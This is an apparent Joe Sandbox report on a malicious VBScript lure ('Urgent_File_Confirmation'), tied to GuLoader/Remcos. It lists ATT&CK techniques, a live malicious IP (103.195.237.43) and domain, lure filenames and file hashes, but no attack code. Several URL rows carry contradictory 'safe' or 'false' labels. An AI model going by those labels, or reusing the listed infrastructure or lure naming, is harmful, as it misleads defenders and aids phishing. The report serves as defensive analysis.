Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	11 Windows Management Instrumentation	321 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Urgent_File_Confirmation_00000000000000000000.vbs	16%	ReversingLabs	Script-WScript.Trojan.Heuristic
Urgent_File_Confirmation_00000000000000000000.vbs	16%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://103.195.237.43/Magnetis	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseringerne.sea0	0%	Avira URL Cloud	safe
http://103.19	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetiseringern	0%	Avira URL Cloud	safe
http://103.195.	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://103.195.237.43/Magnetiseringerne.s	0%	Avira URL Cloud	safe
https://milanaces.c	0%	Avira URL Cloud	safe
https://milanaces.co	0%	Avira URL Cloud	safe
http://103.19	0%	Virustotal		Browse
https://aka.ms/pscore68	0%	URL Reputation	safe
http://103.195.237.43/Magnetiseringerne.sea	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseringerne.sea	0%	Avira URL Cloud	safe
http://103.195.	0%	Virustotal		Browse
http://103.195.237.43/Magnetiseringerne.se	0%	Avira URL Cloud	safe
http://103.195.237.4	0%	Avira URL Cloud	safe
http://103.195H	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetiserin	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseringern	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetiseri	0%	Avira URL Cloud	safe
http://103.195.237.4	0%	Virustotal		Browse
https://milanaces.com	0%	Avira URL Cloud	safe
https://milanaces.com/Magneti	0%	Avira URL Cloud	safe
http://103.1	0%	Avira URL Cloud	safe
http://103.195	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseringe	0%	Avira URL Cloud	safe
http://103.195.237.	0%	Avira URL Cloud	safe
https://milanaces.com/Magnet	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseringer	0%	Avira URL Cloud	safe
http://103.195	0%	Virustotal		Browse
https://milanaces.com	3%	Virustotal		Browse
http://103.195.237.43	0%	Avira URL Cloud	safe
http://103.195.237.43/Magneti	0%	Avira URL Cloud	safe
http://103.195.237.43/Magn	0%	Avira URL Cloud	safe
http://103.195.237.	0%	Virustotal		Browse
http://103.195.237.43	12%	Virustotal		Browse
http://103.195.237.43/Magnet	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetiseringer	0%	Avira URL Cloud	safe
https://milanaces.com/Ma	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetis	0%	Avira URL Cloud	safe
http://103.195.237	0%	Avira URL Cloud	safe
http://103.1	0%	Virustotal		Browse
https://milanaces.com/Magnetiseringerne.	0%	Avira URL Cloud	safe
https://milanaces.com/Mag	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseringerne.se	0%	Avira URL Cloud	safe
http://103.195.237.43/Mag	0%	Avira URL Cloud	safe
http://103.195.237.43/M	0%	Avira URL Cloud	safe
http://103.195.237.43/Magne	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetiseringerne.	0%	Avira URL Cloud	safe
http://103.195.23	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetise	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseringerne	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseringerne.s	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiser	0%	Avira URL Cloud	safe
http://103.195.237.43/Ma	0%	Avira URL Cloud	safe
https://milanaces.com/	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiserin	0%	Avira URL Cloud	safe
https://milanaces.com/Magne	0%	Avira URL Cloud	safe
https://aka.ms/pscore6lBdq	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetisering	0%	Avira URL Cloud	safe
http://103.195.2	0%	Avira URL Cloud	safe
https://milanaces.com/M	0%	Avira URL Cloud	safe
http://103.195.237.43/	0%	Avira URL Cloud	safe
https://milanaces.com/Magn	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetiser	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetise	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetiseringerne	0%	Avira URL Cloud	safe
http://103.195.237.43/Magnetiseringe	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseri	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetisering	0%	Avira URL Cloud	safe
https://milanaces.com/Magnetiseringerne.seaX	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://103.195.237.43/Magnetiseringerne.sea	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://103.195.237.43/Magnetis	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.19	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringerne.sea0	powershell.exe, 00000004.00000002.2975462593.0000000004B75000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetiseringern	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetiseringerne.s	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.c	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://milanaces.co	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringerne.sea	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetiseringerne.se	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.4	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://103.195H	powershell.exe, 00000001.00000002.2974919360.0000021E81DD6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetiserin	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringern	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetiseri	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://milanaces.com/Magneti	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.1	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.3027742300.0000021E90074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://103.195	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringe	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://milanaces.com/Magnet	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringer	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43	powershell.exe, 00000001.00000002.2974919360.0000021E818AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974919360.0000021E80227000.00000004.00000800.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2974919360.0000021E80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2975462593.0000000004A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://103.195.237.43/Magneti	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magn	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnet	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.3027742300.0000021E90074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://103.195.237.43/Magnetiseringer	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2975462593.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2993662435.0000000007477000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2975462593.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2993662435.0000000007477000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2984158836.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://milanaces.com/Ma	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetis	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringerne.	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Mag	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringerne.se	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Mag	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/M	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magne	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2975462593.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2993662435.0000000007477000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetiseringerne.	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.23	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetise	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringerne	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringerne.s	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiser	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Ma	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magne	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiserin	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lBdq	powershell.exe, 00000004.00000002.2975462593.0000000004A21000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetisering	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.2	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/M	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.2974919360.0000021E80001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://milanaces.com/Magn	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetiser	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetise	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetiseringerne	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.195.237.43/Magnetiseringe	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseri	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetisering	powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://milanaces.com/Magnetiseringerne.seaX	powershell.exe, 00000001.00000002.2974919360.0000021E818AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974919360.0000021E80227000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.195.237.43	unknown	Viet Nam		38733	CMCTELECOM-AS-VNCMCTelecomInfrastructureCompanyVN	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466652
Start date and time:	2024-07-03 08:44:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Urgent_File_Confirmation_00000000000000000000.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@10/8@0/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 98% Number of executed functions: 74 Number of non-executed functions: 25
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7456 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7668 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:45:27	API Interceptor	1x Sleep call for process: wscript.exe modified
02:45:31	API Interceptor	130x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.195.237.43	Payment_Confirmation_Receipts.vbs	Get hash	malicious	GuLoader	Browse	103.195.237.43/Aarsberetnings.jpb
	Maersk_BL_Invoice_Packinglist.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43/QJqDH201.bin
	Revised Invoice 7389293.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43/Nyet.qxd
	Maersk_BL_Invoice_Packinglist.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43/uPjMJXcuf244.bin
	Deutschepost Invoice & Awb0000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43/Finansloves203.mix
	Transaction_Execution_Confirmation_000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43/DQIbgxck76.bin
	DHL Shipping Invoice, Bill Of Lading & AWB.vb.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43/HqExDVYd37.bin
	MaerskPreawbsamedaydelivery636489384759390200.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43/Stttepillens34.pcx
	DHL Shipping Invoice, Bill Of Lading & AWB.vbs	Get hash	malicious	GuLoader	Browse	103.195.237.43/Abatua.dsp
	DHL Shipping Invoices & Awb.vbs	Get hash	malicious	GuLoader	Browse	103.195.237.43/Castellated18.aca

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CMCTELECOM-AS-VNCMCTelecomInfrastructureCompanyVN	Payment_Confirmation_Receipts.vbs	Get hash	malicious	GuLoader	Browse	103.195.237.43
	Maersk_BL_Invoice_Packinglist.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43
	Revised Invoice 7389293.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43
	Maersk_BL_Invoice_Packinglist.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43
	Deutschepost Invoice & Awb0000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43
	Transaction_Execution_Confirmation_000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43
	DHL Shipping Invoice, Bill Of Lading & AWB.vb.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43
	MaerskPreawbsamedaydelivery636489384759390200.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.195.237.43
	DHL Shipping Invoice, Bill Of Lading & AWB.vbs	Get hash	malicious	GuLoader	Browse	103.195.237.43
	DHL Shipping Invoices & Awb.vbs	Get hash	malicious	GuLoader	Browse	103.195.237.43

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	moderate, very likely benign file
